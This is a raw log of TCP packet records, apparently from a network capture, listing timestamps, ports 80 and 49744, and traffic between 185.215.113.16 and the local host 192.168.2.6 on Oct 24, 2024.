Oct 24, 2024 18:08:23.976479053 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.976494074 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.976495028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.976510048 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.976511955 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.976525068 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.976541042 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.976542950 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.976556063 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.976571083 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.976581097 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.976587057 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.976602077 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.976603031 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.976645947 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.976788998 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.976816893 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.976831913 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.976861954 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.008128881 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.008169889 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.008186102 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.008224964 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.008225918 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.008260012 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.008292913 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.008358002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.008371115 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.008395910 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.008404016 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.008949041 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.009047031 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.009063005 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.009079933 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.009104013 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.009156942 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.009171963 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.009188890 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.009206057 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.009212971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.009228945 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.009243965 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.009258986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.009259939 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.009274006 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.009280920 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.009305954 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.009388924 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.009401083 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.009430885 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.010027885 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010045052 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010068893 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010075092 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.010082960 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010098934 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010113001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010114908 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.010130882 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010149002 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.010154963 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010179043 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010190010 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.010190964 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010205984 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010221004 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010235071 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010236979 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.010250092 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010258913 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.010266066 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010281086 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010283947 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.010296106 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010313988 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010327101 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010332108 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.010340929 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010356903 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010360003 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.010370970 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.010370970 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010404110 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.010721922 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010751963 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010766983 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010785103 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.010828018 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010849953 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010865927 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010880947 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010890007 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.010896921 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.010915041 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.010929108 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.011002064 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.011018038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.011032104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.011048079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.011061907 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.011063099 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.011079073 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.011082888 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.011106968 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.011149883 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.011162996 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.011192083 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.033188105 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.053975105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.053996086 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.054013968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.054065943 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.054275990 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.054318905 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.054399014 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.054426908 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.054442883 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.054457903 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.054461002 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.054474115 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.054488897 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.054488897 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.054505110 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.054519892 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.054522991 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.054537058 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.054550886 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.054550886 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.054569006 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.054590940 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.056865931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.056929111 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.056961060 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.057240009 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.057271004 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.057293892 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.058937073 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.058964014 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.058979034 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059003115 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.059039116 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.059092045 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059108019 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059123039 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059138060 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059144020 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.059154987 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059170008 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059180021 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.059185982 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059201002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059209108 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.059217930 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059238911 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.059242010 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059257030 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059272051 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059287071 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059290886 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.059302092 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059307098 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.059328079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059335947 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.059344053 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059359074 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059376001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059381008 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.059400082 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059416056 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059431076 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059446096 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.059446096 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059461117 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059467077 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.059477091 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059478045 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.059493065 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059508085 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059514999 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.059523106 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059539080 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059542894 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.059575081 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059591055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059606075 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059611082 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.059628010 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059632063 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.059640884 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059659004 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.059665918 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059681892 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059696913 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059704065 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.059712887 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059730053 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059731960 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.059745073 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059760094 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059766054 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.059775114 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059789896 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059793949 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.059806108 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059819937 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059823990 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.059835911 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059850931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059854984 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.059866905 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059883118 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059885979 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.059897900 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059912920 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059917927 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.059931993 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059941053 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.059950113 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059966087 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059982061 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.059988022 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.060477018 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.060503960 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.060513973 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.060519934 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.060539961 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.105808973 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.108117104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.108232021 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.108280897 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.108285904 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.108321905 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.108366966 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.108374119 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.108409882 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.108448982 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.108459949 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.108501911 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.108536005 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.108571053 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.108575106 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.108603001 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.108611107 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.108688116 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.108727932 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.108738899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.108772993 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.108808994 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.108813047 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.108844995 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.108877897 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.108911991 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.108917952 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.108944893 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.108993053 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.109006882 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.109040976 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.109075069 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.109078884 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.109108925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.109117985 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.109160900 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.109193087 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.109199047 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.109227896 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.109260082 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.109266043 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.109313965 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.109364986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.109399080 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.109405041 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.109431982 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.109467030 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.109481096 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.109510899 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.109523058 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.109584093 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.109616995 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.109652042 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.109653950 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.109684944 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.109718084 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.109724998 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.109750986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.109757900 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.109785080 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.109819889 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.109824896 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.109853983 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.109885931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.109891891 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.109920025 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.109952927 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.109986067 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.109992027 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.110018969 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.110053062 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.110058069 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.110085964 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.110089064 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.110120058 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.110152006 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.110158920 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.110184908 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.110220909 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.110223055 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.110254049 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.110285044 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.110317945 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.110323906 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.110352039 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.110362053 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.110384941 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.110435963 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.110469103 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.110474110 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.110502958 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.110544920 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.110563040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.110619068 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.110632896 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.110651970 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.110685110 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.110690117 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.110718012 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.110750914 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.110758066 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.110785007 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.110822916 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.110848904 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:24.110855103 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.110891104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:24.110909939 CEST	49744	80	192.168.2.6	185.215.113.16
